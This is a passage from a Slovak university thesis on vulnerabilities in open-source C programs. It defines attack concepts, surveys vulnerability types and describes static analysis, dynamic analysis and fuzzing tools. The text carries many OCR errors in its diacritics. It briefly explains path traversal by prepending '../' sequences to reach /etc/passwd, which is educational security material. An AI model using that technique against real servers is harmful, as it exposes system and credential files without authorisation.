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Abstrakt

Tato diplomovéa praca sa venuje podrobnej analyze zranite'nosti vo volne SiriteI'nych
programoch s otvorenym zdrojovym kdédom. Sucastou prace je popis réznych typov
zraniteI'nosti, ktoré st Casto spojené s itokmi na softvér. Detailne je preskimané statické
a dynamické testovanie kodu, ako aj nastroje pouzivané na odhalovanie zraniteI'nosti
Vv zdrojovom kode. Priaca obsahuje vytvorenie troch laboratornych uloh vratane
podrobnych nédvodov, ktoré demonstruju dosledky chybnych implementacii. Laboratérne
ulohy si zamerané na zranitelnosti typu preteCenie vyrovnavacej pamite (buffer
overflow), prechadzanie adresarov (path/directory traversal) a Citanie nad ramec
vyrovnavacej paméte (buffer over-read). V ramci kazdej laboratoérnej tlohy je sucastou
ukéazka chybného kodu, ktory bol zodpovedny za danu zraniteI'nost’ a taktiez aj ukazka
opravené¢ho kodu, sktorym sa podarilo dant zraniteI'nost’ odstranit. Tieto ulohy
poskytuju praktické priklady, ktoré ilustruji rizikd spojené s nevhodnym navrhom
a implementéaciou softvéru a poukazuju na doélezitost’ efektivnych bezpecnostnych
postupov pri softvérovom vyvoji.

KPracové slova
Zranitelnost’, Utok, Analyza, OWASP, Shodan, Heartbleed, Samba, OpenSSL

Abstract

This graduation thesis is devoted to a detailed analysis of vulnerabilities in freely
distributed open-source programs. The thesis includes a description of different types of
vulnerabilities that are often associated with software attacks. Static and dynamic code
testing are examined in detail, as well as the tools used to detect vulnerabilities in source
code. The thesis includes the development of three lab exercises, including detailed
tutorials that demonstrate the consequences of incorrect implementations. The lab tasks
focus on buffer overflow, path/directory traversal, and buffer over-read vulnerabilities.
Every lab task includes a demonstration of the flawed code that was responsible for the
vulnerability, as well as demonstration of the patched code that was used to fix the
vulnerability. These tasks provide practical examples that illustrate the risks associated
with inappropriate software design and implementation and demonstrate the importance
of effective security techniques in software development.
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Uvob

Tato praca je venovana laboratornym uUlohdm zameranym na zranitel'nosti
v kompilovanych jazykoch. V sucasnej dobe, ked je bezpecnost softvéru klucovou
oblastou zaujmu v pocitatovom inZinierstve, sa stdva pochopenie a rieSenie zraniteI'nosti
v kompilovanych jazykoch nesmierne doélezit¢. Hlavnym cielom tejto prace je
analyzovat’ r6zne aspekty tychto zranitelnosti nachadzajticich sa vo volne Siritel'nych
programoch s verejne dostupnym zdrojovym kodom, zameranymi predovsetkym na
jazyk C a poskytnit’ detailné informacie o ich detekcii a prevencii.

V prvej Casti sa praca sustredi na teoretické zéklady, ktoré su nevyhnutné pre
pochopenie problematiky. Tu su definované a vysvetlené zdkladné pojmy ako
zranitelnost,, bezpe¢nostna chyba, zneuzitie chyby (exploit) a utok. Dalej sa zaoberame
roznymi typmi zranitelnosti, ktoré su Specifické pre kompilované jazyky, ako su
napriklad pretecenie vyrovnavacej pamdte a pretecenie hodnoty.

Druha cast prace je venovand metdodam detekcie a prevencie zranitelnosti. Su
predstavené rozne pristupy ako statickd a dynamickd analyza kédu, fuzz testovanie,
penetraéné testovanie arozlicné nastroje a technologie pouzivané v tejto oblasti.
Pozornost’ je taktiez venovana prevencii zranitelnosti, vratane bezpecnostnych noriem,
smernic a integracii bezpecnostnych nastrojov do samotného softvérového vyvojového
zivotného cyklu.

Praktickd Cast’ prace je venovana laboratornym tloham. Kazda laboratérna tloha je
podrobne analyzovana s cielom identifikovat’ a pochopit’ konkrétne zranitel'nosti v ramci
kompilovaného jazyka C. Tato analyza umoziiuje nielen teoretické pochopenie, ale
poskytuje aj praktické sktsenosti potrebné pre identifikdciu a rieSenie podobnych
zranitelnosti v redlnych aplikaciach. Dalej su popisané detailné navody, pomocou
ktorych je mozné zvolené zranitelnosti bez komplikacii zreplikovat s vyuzitim
zranitenych verzii softvéru. Dané zranitelnosti st zamerané na OpenSSL, TLS ana
softvér Samba.

Cielom tejto prace je nielen poskytnut’ teoretické poznatky 0 zranitel'nostiach
v kybernetickej bezpecnosti, ale aj ukéazat" praktickll aplikaciu tychto poznatkov
Vv realnych scenaroch spojenych so zraniteI'nostami v kompilovanych jazykoch. Tento
pristup ukazuje, ako sa teoretické zadklady mozu efektivne aplikovat’ pri rieSeni redlnych
bezpecnostnych problémov. Zaroven praca poskytuje komplexny pohlad na dolezité
aspekty avyzvy, ktoré prichadzaju s neustalym vyvojom ainovaciami Vv oblasti
softvérového inZinierstva.
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1 TEORETICKE ZAKLADY

Tato kapitola je zamerand na teoretické zaklady, ktoré su nevyhnutné pre pochopenie
problematiky kybernetickej bezpe€nosti a zraniteI'nosti v softvéroch. Poskytuje zakladné
informacie, ktoré si potrebné pre identifikiciu a pochopenie rdznych typov
bezpec¢nostnych hrozieb a slabych miest v softvérovych systémoch.

V tivodnej Casti st definované zakladné pojmy, ako su zranitelnost, bezpecnostna
chyba, zneuzitie chyb (exploit) a utok. Nasledne st podrobne rozoberané rozlicné typy
zranitel'nosti v softvéri, ako st pretecenie vyrovndvacej pamdte (buffer overflow),
pretecenie hodnoty (integer overflow), neosetreny vstup, subeh (race condition) a pouZzitie
po uvolneni (use-after-free). Kazda z tychto zranitelnosti predstavuje riziko, ktoré si
vyzaduje Specificky pristup k jej detekcii a prevencii.

1.1 Zakladné pojmy

1.1.1 Zranite’nost’

V informacnej bezpecnosti sa za zranite'nost’ povazuje kazda slabina v systéme, ktoru
moze utocnik zneuzit'. Nasledkom zneuzitia tejto zranitelnosti je utok na dany systém.
Vznik tychto zranitenosti je najéastejSie spdsobeny bezpecnostnou chybou — zle
oSetrenym kodom, zastaralymi bezpecnostnymi protokolmi a neaktualizovanym
systémom.

Zranitelnosti m6zu byt rozmanité a casto st nevyhnutné, ked’ze tplne odolny systém
je vpraxi takmer nemozné vytvorit. Preto je klItucova nielen prevencia vzniku
zranitel'nosti, ale aj okamzZita reakcia a naprava, ked’ sa nejaké zranitel'nost’ objavi. To
zahffia pravidelné testovanie, systémov na pritomnost’ slabin, implementaciu patchov,
aktualizacie a bezpecnostné opatrenia [1].

1.1.2 Bezpecnostna chyba

V oblasti softvérového vyvoja sa za bezpecnostnli chybu povazuje funkcionalita, ktora
nebola zamyslana pri vzniku softvéru a mohla by viest’ k zneuzitiu. Takato chyba mohla
vzniknit' na zaklade chyb v kodovani, problémom s architektirou, nedostato€nym
navrhom bezpecnosti alebo nespravnou implementaciou. Bezpe¢nostné chyby sa nemusia
objavit’ hned’, ale az po niekol’kych rokoch. Tieto chyby su v dneSnej dobe vyuzivané pri
vacsine beznych utokoch.

Aby sa minimalizovala moznost’ vyskytu takychto chyb, vyvojari by mali dodrziavat’
osvedCené postupy v oblasti bezpecného koédovania, ako je pouzivanie statickej
a dynamickej analyzy kodu, kontrola zmien kodu (code reviews) aimplementacia
bezpec¢nostnych nastrojov a protokolov uz vo faze navrhu softvéru [1][2].
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1.1.3 Zneuzitie chyb (exploit)
V oblasti informacnej bezpecnosti existuje Specialny typ kodu, ktory je navrhnuty na
vyuzivanie slabin alebo chyb v softvérovych systémoch. V ramci testovania bezpecnosti
aplikacie je tento kod navrhnuty bezpecnostnymi vyskumnikmi, ktori sa snazia dokazat’
zranitel'nost’ aplikécie, alebo na druhu stranu to¢nikmi, ktori sa snazia zneuzit’ pripadnu
bezpecnostnu chybu.

Zneuzitie chyb m6ze mat’ r6zne podoby, od jednoduchych skriptov az po komplexné
programy a jeho uspech zavisi od presnosti a hibky poznania danej zranitelnosti. Pri
vyuziti tychto bezpecnostnych chyb utocnik obvykle ziskava vysSiu Groven pristupu
k systému, nez je ziadtice. Tato uroven mu potom umoziuje vykonat’ d’alie operacie, ako
je napriklad kradez dat, posSkodenie dat a ziskanie pristupu do systému. Bezpecnostné
timy preto monitoruju zname databazy bezpeénostnych chyb a vyvijaji aktualizacie, aby
zabranili zneuzitiu systému prostrednictvom tychto chyb [3].

1.1.4 Utok

V informacnej bezpecnosti sa za Gtok povazuje €in, ktory sa realizuje s imyslom sposobit’
poskodenie alebo vyvolat’ chaos v informaénych systémoch, sietach alebo pocitacoch.
Ide o0 umyselné akcie, ktoré maja za ciel’ ziskat' neopravneny pristup, nartsat’ sluzby,
kradntt’ data alebo dokonca poskodit’ fyzické komponenty systému. Medzi najzndmejsie
utoky patri Sirenie malwaru, utoky odmietnutia sluzby (DoS), phishing alebo ransomvér
utoky, pri ktorych uto¢nici pozaduju vykupné za obnovenie pristupu k zakdédovanym
datam. Tieto akcie su ¢asto motivované financiami, politikou alebo snahou o preukazanie
technickych schopnosti Gto¢nika [4].

1.2 Typy zranitel’nosti v softvéri

1.2.1 Preteenie vyrovnavacej pamite (Buffer Overflow)

Jednou z najznamejsich softvérovych zranitelnosti je preteCenie vyrovnavacej pamite.
Ta nastava vtedy, ked’ sa data nezmestia do vyrovnavacej pamite (bufferu) a zacnu sa
ukladat’ na paméitové miesto mimo nej. Po preteCeni dat mdze prist k neCakanému
ukonéeniu programu, poskodeniu dat alebo k imyselnému spusteniu $kodlivého kodu.
Vyrovnavacia pamit’ sluzi na doCasné ulozenie dat poCas premiestiiovania z jedného
miesta na druhé aje tvorena pamidtovymi regionmi. Mo6ze obsahovat’ hodnoty od
znakového ret'azca az po pole celych Cisel.

Odhalenie preteCenia vyrovnavacej pamite je Castokrat velmi narocné kvoli
rozliénym moznostiam, akym mdze nastat’. Jednou z moznosti je zneuzitie chyb danej
aplikacie, ktoré si vyzaduje zna¢né tusilie €i uz zo strany bezpecnostnych vyskumnikov,
alebo zo strany uto¢nikov. Princip zneuzitia chyb spociva Vv uto¢nikove] zamernej
manipulacii S pamat'ou poc¢itatového programu tak, aby sa vykonal skodlivy kod. V praxi
to znamena vloZenie vacsicho mnozstva dat do vyrovnavacej paméte, nez je jej kapacita.
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Ked program nedostatocne kontroluje mnozstvo dat, ktoré moézu byt vloZené,
nadbyto¢né data mozu prepisat’ susedné pamit'ové oblasti, v ktorych sa mozu nachadzat
kontrolné mechanizmy alebo iné dolezité data. Ak uto¢nik dosahuje vedomosti, ako su
dané data usporiadané v pamaiti, moze takéto prepisanie zneuzit' a tym prinati program
vykonat §kodlivy kod.

PreteCenie zasobnika postihuje nielen webové servery, databidzové servery a
aplikacné servery, ale aj aplikacie na pocitacovych a mobilnych opera¢nych systémoch,
smerovace, prepinace a d’alSie. Najviac zraniteIné platformy su tie, ktoré vyuzivaju
programovacie jazyky C a C++. Vo¢i tomuto typu ttoku su odolné platformy, ktoré
vyuzivaju programovaci jazyk Java alebo Python. K zneuzitiu chyb sa mo6zu vyuzivat
kody navrhnuté v Pythone alebo v C.

Proti itokom typu pretecenie vyrovnavacej pamite mozu byt zavedené r6zne obranné
opatrenia. Vyvojari mozu implementovat’ bezpe¢nostné techniky ako je kontrola hranic
vyrovnavacej pamdte (bounds checking), ochranné hodnoty (canary values) a nahodné
rozloZenie adresného priestoru (ASLR - Address Space Layout Randomization), ktoré
nahodne premiestiiuji data a spustacie prostredie v pamiti, aby stazili uto¢nikom
predvidat’, kam vlozit’ $kodlivy kod. Moderné operacné systémy a kompilatory uz tiez
Casto obsahujt vstavané mechanizmy na detekciu a prevenciu preteCenia Vyrovnavace;j
pamaéte, medzi ktoré patria napriklad Stack Canaries, Data Execution Pevention (DEP),
Safe libraries, Fortify Source a d’alsie. Okrem toho je ddlezité pravidelné aktualizovanie
softvéru a operacnych systémov, aby sa zabezpecilo, Ze st opravené zname zranitel'nosti.
VysSia Groven obozretnosti pri programovani a dosledné testovanie kédu mozu tiez
pomoct’ odhalit’ a opravit’ potencialne slabiny pred ich zneuzitim [5][6].

1.2.2 Pretecenie hodnoty (Integer Overflow)

Chybovy stav, ktory nastane, ked’ numerick4 hodnota prekro¢i maximalnu hodnotu, ktoru
premennd moze uchovat’, sa nazyva pretecenie hodnoty. Tato situacia nastane vacsinou
pocas aritmetickej operacie, kde vysledok vypoctu je prili§ velky pre datovy typ integer,
ktory ma hodnotu uchovat. Tato hodnota sa lisi pre znamienkovy (signed) integer,
neznamienkovy (unsigned) integer ataktiez ju ovplyviiuje nesymetricky rozsah
dvojkového doplnku. Maximalna hodnota znamienkového integera je 2X71—1
a neznamienkového integera 2K — 1, pricom K je pocet bitov [7].

Toto preteCenie sa moze prejavit réznymi spdsobmi, v zavislosti od toho, ako
pocitaCovy systém spracuje preteCent hodnotu. NajcastejSie to vedie k tomu, Ze
z vel'kého a kladného Cisla sa stane zaporné ¢islo. Ked'Ze je toto spravanie oznaCované
ako nepredvidatelné, moze viest' k spusteniu nebezpecného kodu alebo k zépisu na
nespravne pamatoveé miesto.

Ktomu aby nastalo preteCenie hodnoty je potrebné, aby v danom programe
obsahujucom celocCiselné hodnoty prebiehali aritmetické operacie. Ak by bola dana
hodnota vicsia ako je programom podporovana, tak sa zabali. R6zne vel'ké hodnoty mozu
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spdsobit’ rozlicné spravanie programu pri kazdej d’alSej hodnote, vd’aka ¢omu mdze
uto¢nik nasledne ulozit’ $kodlivé data do pamaite. PreteCenie hodnoty Sa na rozdiel od
preteCenia vyrovnavacej paméte tyka nielen programovacicho jazyka C a C++, ale aj
Pythonu a Javy [8].

PreteCenie hodnoty mdze mat’ vazne bezpecnostné dosledky, pretoze moze byt
uto¢nikmi vyuzity na vykonavanie Gtokov typu arbitrary code execution alebo denial of
service (DoS). To sa deje tak, ze pri preteCeni moze dojst’ k neimyselnému prepisaniu
dolezitych riadiacich informécii, ako st ukazovatele funkcii alebo adresy ndvratu na
zasobniku. To umoznuje to¢nikom manipulovat’ so spravanim programu alebo dokonca
vlozit’ a vykonat’ svoj vlastny kod. Na znizenie rizika preteCenia hodnoty musia vyvojari
implementovat’ kontroly velkosti a vykonavat’ bezpecné programové praktiky, ako je
pouzivanie typov s pevnou velkostou a kontrola hranic pri kazdej operacii, ktora by
mohla spdsobit’ pretecenie [9].

1.2.3 NeoSetreny vstup (Uncontrolled Input)

Problémy, ktoré mozu nastat’ ked” softvér bud’ nekontroluje alebo nespravne kontroluje
vstup od uzivatela sa nazyva neoSetreny vstup. Patria sem rozlicné typy utokov, ako
napriklad SQL injekcia, krizové skriptovanie (XSS), XML injekcia externej entity
(XXE), prechadzanie adresarov a iné.

XML injekcia externej entity, ako uz z nazvu vyplyva, je typ utoku, pri ktorom
prebieha spracovanie upravenych XML suborov pomocou webovej aplikacie. Cielom
uto¢nika je pritom ziskat’ pristup k aplikacnému serveru, ktorym je schopny ovladat’
vSetky vzdialené systémy, u ktorych je autorizovany. Najviac ndchylné aplikéacie na tento
typ utoku su tie, ktoré vyuzivaji XML kniznicu. Je to z toho dovodu, ze funkcénost’ tejto
kniZnice je Castokrat nebezpecna kvoli jej vlastnostiam.

SQL injekcia je typ utoku na webové aplikacie, pri ktorom sa uto¢nik snazi vlozit
upraveny kod do vstupného pol'a pre aplikaciu vyuzivajucu SQL databazu. K tomuto typu
utoku dochéadza najcastejSie kvoli tomu, ked’ je aplikacia nespravne naprogramovana.
Nasledny vstup, ktory utocnik zada, nie je vhodne filtrovany a napriklad pomocou
Specidlnych znakov narusi Struktiru SQL dopytu. Na zéklade vyuzivaného databazového
servera, na ktorom aplikacia bezi, méze uto¢nik vyuzit' SQL injekciu na upravu dat
v databdze, zmenu jej Struktiry, vykonanie prikazov alebo zneuZitie prihlasenia pod
uzivatela s vhodnymi pravami — Spravcu.

Krizové skriptovanie je typ utoku, pri ktorom uto¢nik vkladé Skodlivy kod na webovi
aplikdciu, ku ktorej maju pristup bezni uZivatelia. Vo vicSine pripadov sa jedna
0 Javascript kod, ktory ked’ sa podari uspesne spustit’, bezni uzivatelia o tom ¢asto ani
nevedia. Ak je tento kéd perzistentny, tak je schopny zattoCit’ na viacerych uzivatelov
naraz. Ciel'om tohto ttoku je pre uto¢nika najcastejSie ziskanie cookies uzivatel'ov alebo
ich tokenu, presmerovanie uzivatel'ov na iny odkaz so snahou ziskania ich udajov
(phishing) alebo prevzatie kontroly nad prehliadacom.
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Prechadzanie adresdrov je typ utoku, ktory vyuziva bezpecnostnu chybu k tomu, aby
utocnik ziskal pristup k suborom a adresarom nachddzajucich sa mimo povolené¢ho
webového korenového adresara. Vécsina aplikacii takéto cesty nevyuziva, ale ak sa
nejaka takato aplikacia najde, uto¢nik ma moznost’ pristapit’ k tomuto skrytému obsahu.
Je to mozné docielit’ tym, Ze pred danu cestu, napriklad /etc/passwd utoc¢nik vlozi
niekolkokrat ../, ¢im sa snazi precestovat’ z pristupného koreniového adresara do
nadradeného adresara, v ktorom by sa mohol nachaddzat’ h'adany subor. Tento subor by
mohol obsahovat citlivé informacie, konfiguracie, zdrojové kody alebo by sa mohol tykat’
systému samotného [10].

1.2.4 Subeh (Race Conditions)

Zranitelnost’ v systéme, ktord umoziiuje menit’ poradie vykonavania procesov sa nazyva
subeh. NajcastejSie sa tato zranitelnost moéze objavit pri paralelnom spracovani
procesov, kedy sa viaceré programy snazia naraz pristupovat’ k rovnakému zdroju. Ak
pristupovany zdroj, vtomto pripade zdielané pamétové miesto nie je dostatocne
zabezpecené, moze dojst’ k spadnutiu systému, poskodeniu dat alebo k chybe. Je to z toho
dovodu, ked jedno vldkno ktoré pristupuje k premennej, ihned’ po pristupe zmeni jej
hodnotu, pricom druhé vlakno eSte oCakavalo povodni hodnotu. Toto mdze viest
Kk nepredvidanému vysledku [11].

Utoénici vyuzivajuci tito zranitelnost’ sa snazia ziskat’ pristupové prava do systému,
utajené data, o Unik informacii z datab4z a podobne. Nevyhodou pre uto¢nika je, Ze na
vykonanie utoku maji iba vel'mi malo €asu, napriklad pri aktualizovani databdzy nahradia
docasny stbor SQL databazy svojim upravenym, vd’aka ktorému ziskaji potrebné prava
[12].

Pri tomto type zraniteI'nosti sa najCastejSie vyskytuji dva typy podmienok. Prvym
typom je podmienka read-modify-write, ktorej vysledkom je najcastejsie chyba. Vznika,
ked’ viaceré procesy alebo vlakna pristupuji k hodnote nesynchronizovane a postupne ju
nahradzaju novou hodnotou. Predchadzat’ sa voci tomuto typu podmienky d4 pomocou
mechanizmov zabezpecujucich synchronizaciu, ako st napriklad zamky (locks), ktoré sa
staraju o to, ze pokial’ jeden proces alebo vlakno vykonavaji operaciu read-modify-write,
ziaden iny proces alebo vlakno nebude moct’ pristupovat’ k tomu istému pamitovému
miestu, kym prvy proces nedokonci celu operaciu.

Druhym typom je podmienka check-then-act, ktora nastava, ked’ medzi kontrolou
a akciou moze dojst’ k zmene stavu. Napriklad ak jedno vldkno alebo proces kontroluje
stav zoznamu pri odoberani prvku zo zoznamu. Ak je zoznam prazdny, nevykond Ziadnu
akciu, ak nie je prazdny, odoberie prvok zo zoznamu. Problém nastava, ked’ beZi viacero
vlakien alebo procesov sui€asne bez synchronizacie. Vtedy moze nastat’ situdcia, ze naraz
odobert rovnaky prvok, ktory uz ale neexistuje. Predist’ sa d4 voci tomuto tak isto ako aj
Vv pripade s podmienkou read-modify-write [13].
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1.2.5 Pouzitie po uvol’neni (Use-After-Free)

ZraniteI'nost’ znama ako pouzitie po uvolneni vznika v désledku chyb v sprave pamite
v programe. Téato situdcia nastava, ked program uvolni alokovani pamét, ale neskor
pokracuje v pouzivani ukazovatel'a (pointer) odkazujiceho na tato uz uvolnenti pamét’.
Teda ak v programe odkazuje ukazovatel’ na nejakii mnozinu dat, ktora je neskor bud’
presunuta na iné pamét'ové miesto alebo odstranena. V tomto pripade ukazovatel” nie je
vynulovany, ale stale ukazuje na to isté pamat'ové miesto, aj ked’ v iom ni¢ nie je. Ak
program neskor na toto miesto alokuje dalSie data, napriklad od uto¢nika, bude
ukazovatel’ odkazovat’ na upravené uto¢nikove data a tym padom dochéadza k néhrade
kodu. Chyba pouzitia po uvolneni nie je priamo spojena s nespravnym alokovanim
pamite, ale skor s nespravnym zaobchadzanim s pamét'ou po jej uvolneni, ¢o moze viest’
K vaznym bezpecnostnym problémom vratane moznosti vykonavania neautorizovaného
kodu alebo tniku citlivych informacii [14].

Tieto chyby nie je jednoduché ihned’ detegovat’ a opravit’, pretoZze program sa ¢asto
sprava ako by sa mal. Problém nastava aZ po urcitom Case, kedy sa mo6zu data poSkodit’,
alebo ked’ Gto¢nik stihne zneuzit’ data este pred samotnou opravou zranitel'nosti. Pri tejto
zranitelnosti najcastejSie dochadza k inikom dat, poskodeniu dat, eskalacii privilégii,
spadnutiu programu a vzdialenému spusteniu kodu. Jednym zo spdsobov ako predist’
chybam pouzitia po uvolneni je po kazdom uvolneni paméte nulovanie ukazovatela. Nie
je to uplne najlepsie rieSenie, ale v pripade ak by sa mala vyskytnat tato chyba, tak
program spadne a tym padom nedojde k ziadnemu uniku dat a ani k poskodeniu dat [15].

RieSenie problému zranitel'nosti pouZitia po uvolneni si vyzaduje pozorny pristup
K sprave pamiti uz pri vytvarani samotného programu. Efektivny spdsob, ako
predchadzat’ tymto chybam moéze byt pouzitie modernych programovacich jazykov
a nastrojov, ktoré¢ poskytuji lepSie mechanizmy pre automatick sprdvu pamite, ako
napriklad garbage collector nachadzajuci sa v Jave a v C#. Tieto jazyky znizuju riziko
vzniku chyb tym, Ze proces uvolfiovania a pridelovania pamite je automatizovany.
Dodato¢né testovanie softvéru a vyuzivanie nastrojov na detekciu chyb vyrazne znizuje
mieru vyskytu chyb pouzitia po uvolneni eSte pred uvedenim programu do plnej
prevadzky [16].
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2 DETEKCIA A PREVENCIA ZRANITEDNOSTI

2.1 Staticka analyza kédu

Metoda pri ktorej je skumana Cast’ kodu bez spustenia daného programu sa nazyva
statickd analyza kodu, tiez oznaCovana aj ako analyza zdrojového koédu. Cielom tejto
analyzy je odhalit’ mozné zraniteI'nosti, chyby ktoré by sa mohli vyskytnat’ po¢as behu
programu, nedefinované hodnoty, chyby pri programovani a podobne.

Casto sa vyuzivaji rozne nastroje, ktoré mozu programatorom pomdct’ pri statickej
analyze. Tato analyza nastdva po tom, ako je prva verzia kodu dokoncena. Hoci nie je
mozné pomocou tychto nastrojov odhalit’ uplne vSetky chyby v kode, je tento proces
dolezity v budiicom vyvoji programu. Je to z toho dovodu, Ze pripadna detekcia chyb
Vv skorej faze pomaha firmam uSetrit' Cas aj financie, ktoré su neskér venované do
kvalitnejSieho a bezpecnejSieho vyvoja. Analyza kddu s vyuzitim tychto néstrojov taktiez
pomaha skratit’ €as v porovnani, ak by ju vykonavali programatori a manuélne
prechadzali cely kod [17].

Staticka analyza kodu sa zameriava najmi na chyby, ktoré spdsobuju pretecenie
vyrovnavacej pamdte, odkazovanie ukazovatel'a na prazdne pamitové miesto, vhodné
podmienky a na duplikaciu kodu. Vsetky tieto chyby by mohli v budicnosti viest’ ku
kritickym zranitel'nostiam, ktoré by ohrozovali funkénost’ programu a nésledne by mohli
byt’ vyuzité napriklad k SQL injekcii a k tiniku citlivych informacii. Prave preto sa kladie
velky doraz na bezpe¢nost’ daného programu. To vedie K zniZeniu bezpecnostnych
incidentov a k zvyseniu dovery uzivatel'ov vo finalny produkt.

Medzi niekol’ko popularnych néstrojov pouzivanych v statickej analyze patria
napriklad SonarQube, ESLint a FindBugs. Cielom tychto nastrojov je pomoct
programatorom a firmam zlepSit' kvalitu ich koédu. Pomahaji identifikovat’ a odhalit’
chyby, ktoré vznikli v dosledku nespravneho programovania a predchadzaju chybam
v prevadzke alebo k zraniteI'nostiam v bezpecnosti. Nevyhodou tychto néstrojov je, ze
dokazu oznadit’ za chybu aj nie¢o, o chyba v skuto¢nosti nie je. Dalej nedokazu odhalit’
konfigura¢né chyby, ktoré nie su pritomné v skimanom kode [18][19].

SonarQube je komplexny analyticky nastroj, ktory sa bezne vyuZziva v programovani
a je kompatibilny s vyvojovymi a prevadzkovymi (DevOps) platformami ako GitHub
a GitLab. Podporuje analyzu mnohych programovacich jazykov aje schopny
identifikovat’ programatorské chyby, bezpecnostné zranitelnosti a kod, ktory nie je
optimalne vykonovo navrhnuty. K zvyseniu kvality prispieva jeho komplexny pohl'ad na
kod s poskytnutim podrobnej spétnej vazby. Z hladiska ¢asu dokéze spracovat’ analyzu
uz za par minut, na rozdiel od inych podobnych néstrojov, kde analyza trva vyrazne dlhsie
[20].

ESLint je open-source nastroj s podporou jazykov JavaScript a JSX. Je dostupny
v prehliadacoch a textovych editoroch. Uzivatel’ si ho moze prispdsobit’ podla seba
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a rozhodnut’ sa, ktoré pravidla méze pouzit’ a ktoré zase nie. Ak by mu nejaké pravidlo
zo vsetkych dostupnych nevyhovovalo, moze si vytvorit’ svoje vlastné. Taktiez ponika
automaticku opravu chybného kodu a vlastny spdsob formatovania [21].

FindBugs je podobne ako ESLint open-source nastroj, ktory podporuje jazyk Java.
Na rozdiel od spomenutych dvoch predchddzajucich néstrojov uz nie je aktualizovany
a tym padom je vhodnejsi skor na starSie verzie Javy, konkrétne Java 8, pre ktora je
vydana posledna verzia. Analyza prebicha na skompilovanej forme kodu. V dnesnej dobe
sa uz velmi nevyuziva, hoci v minulosti ho vyuzivala znacnd cast’ programatorov
zaoberajucich sa Javou [22].

2.2 Dynamicka analyza kodu

Metoda zamerand na analyzu spustenej aplikécie sa nazyva dynamicka analyza kodu. Na
rozdiel od statickej analyzy dokaze poskytnut’ informécie o spravani a vykone softvéru
v roznych podmienkach a situaciach. Skiima chyby v pamiti, preteCenie vyrovnavace;j
pamite arozne bezpeCnostné zranitelnosti, ktoré by sa dali Gtocnikom zneuzit. To
znamena, ze sa snazi simulovat’ realne Gtoky na aplikaciu a tym odhalit’ jej zraniteI'nosti.
Dynamicka analyza kodu prebieha v testovacej faze programu. Dévodom je, ze program
musi byt na rozdiel od stavu, v akom sa nachadzal pri statickej analyze kodu, spustitel'ny,
ale nemusi byt tplne dokonceny [23].

Podobne ako aj pri statickej analyze kodu, st vyuzivané rozne testovacie nastroje.
Tieto nastroje pripominaji penetracného testera, ktory sa snazi zadavat’ Skodlivé vstupy.
To poméha identifikovat’ a odstranit’ chyby alebo problémy, ako napriklad ukoncenie
programu, ktoré sa objavia iba za konkrétnych podmienok. V tejto Casti analyzy su uz
k dispozicii konfiguracné subory, na zaklade ktorych prebieha testovanie programu.
Okrem zistenia z dynamickej analyzy, Zze program obsahuje nejaku zranitelnost, je
mozné aj zistit, aky dopad by to malo, ak by sa tato zranitenost’ objavila pri plnej
prevadzke [24].

K znamym nastrojom na dynamicku analyzu kodu patria napriklad JMeter, Selenium
a Valgrind. Tieto nastroje taktiez pomahaju zlep$it' vykonnost’ aplikacie na zaklade
identifikovanych oblasti. Identifikacia prebiecha pomocou pozorovani, ktoré su ziskané
Z monitorovania spravania v realnom case. Kazdy z tychto nastrojov sa zameriava na
nieCo iné apreto je vhodné tieto nastroje pocas dynamickej analyzy kodu vhodne
kombinovat’ [25].

JMeter je open-source nastroj, ktory je postaveny na Jave. Okrem povodného navrhu,
ktorym bolo testovanie webovych aplikacii, sa v sticasnosti pouziva aj na testovanie
zataze aplikacii. Dokdze simulovat’ velky pocet uzivatel'ov, ktori vykonavaju interakciu
sdanou aplikaciou. Tato vlastnost sa pouziva najmid na zatazové testy. Okrem
zatazovych testov dokdze vytvorit' aj automatizované testy, ktoré simuluju redlne
spravanie uzivatelov. Vyhodou tohto nastroja je aj pritomnost rozlicnych
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komunika¢nych protokolov, ako st napriklad http, https, ftp a d’alsie, ¢o umoznuje
testovat’ d’alSie typy aplikacii a sluzieb [26].

Selenium je open-source nastroj, ktory podporuje viacero programovacich jazykov,
medzi ktoré patria C#, .Net, Javascript, Python, Java a PHP. Tento néstroj dokéze
simulovat’ spravanie uzivatelov V prehliadaci. Umoziuje vytvaranie skriptov
Vv niektorom zo spomenutych programovacich jazykov a ich nasledné spustanie. Okrem
toho je dostupny pre rézne prehliadace a operacné systémy, kde vd’aka kompatibilite
umoziuje paralelné testovanie, ktoré Setri Cas [27].

Valgrind je open-source nastroj, ktory je ur¢eny na dynamicku analyzu a diagnostiku
pamétovych chyb, medzi ktoré¢ patria pamét'ové uniky, preteCenie vyrovnavacej pamate,
nepovolené Citania a zapisy. Je zamerany na aplikacie, ktoré st napisané v jazykoch C
a C++. Dokaze pracovat’ s mnohymi linuxovymi distribliciami a je vhodny na projekty
vSetkych velkosti a kazdého typu, od kniZnic az po virtualnu realitu [28].

2.3 Fuzz testovanie (Fuzzing)

Technika, ktora sa zaobera h'adanim chyb a zraniteI'nosti v programe pomocou vkladania
nahodne generovanych, alebo upravenych vstupnych dat, sa nazyva fuzz testovanie. Na
rozdiel od statickej analyzy, ktora analyzuje kod bez jeho spustenia a dynamickej analyze,
ktord testuje program priamo pocas jeho behu s pouzitim konkrétnych alebo
simulovanych vstupnych dat, fuzz testovanie umyselne vyuziva neStandardné alebo
extrémne vstupné data, aby spdsobilo pad alebo zlyhanie programu. Toto umoziuje
odhalit’ bezpecnostné hrozby, ktoré by inak zostali prehliadnuté. Nastroj, ktory je
vyuzivany pri tejto technike sa nazyva fuzzer. NajucinnejSie vyuzitie fuzzeru je pri
odhalovani zranitel'nosti, ktoré¢ sti zamerané na SQL injekciu alebo XSS. Existuje
niekol’ko typov fuzz testovania, patri medzi nich aplikacny, protokolovy a formatovy.

Aplikacné fuzz testovanie je metdda, ktora testuje bezné uzivatel'ské rozhranie
programu, teda to, s ¢im uzivatel’ dochadza najcastejSie do kontaktu. Patria sem rézne
tlacidla, prikazy, vstupné polia a podobne. Tento typ pracuje na principe zrychleného
pristupu k danym prvkom, pri¢om sa ich snazi kombinovat’ a tym docielit’ k chybe.

Protokolove fuzz testovanie je d’alsia metoda, z ktorej podl'a nazvu vyplyva, vyuziva
rézne komunikaéné protokoly. Tato metdda slizi na testovanie sietovych zariadeni —
serverov, pricom sa posielaji upravené data cez dany protokol. Cielom je, aby server
tieto upravené data nebral ako prikazy, ktoré maji byt na nom vykonané.

Formatové fuzz testovanie patri k poslednej metode vyuzivanej v tejto technike. Jeho
cielom je poslat’ programu alebo webovej aplikacii poskodeny datovy subor, ktory by
mal byt pomocou neho spracovany. Formaty, ktoré sa testuju, moézu byt bezné, ktoré
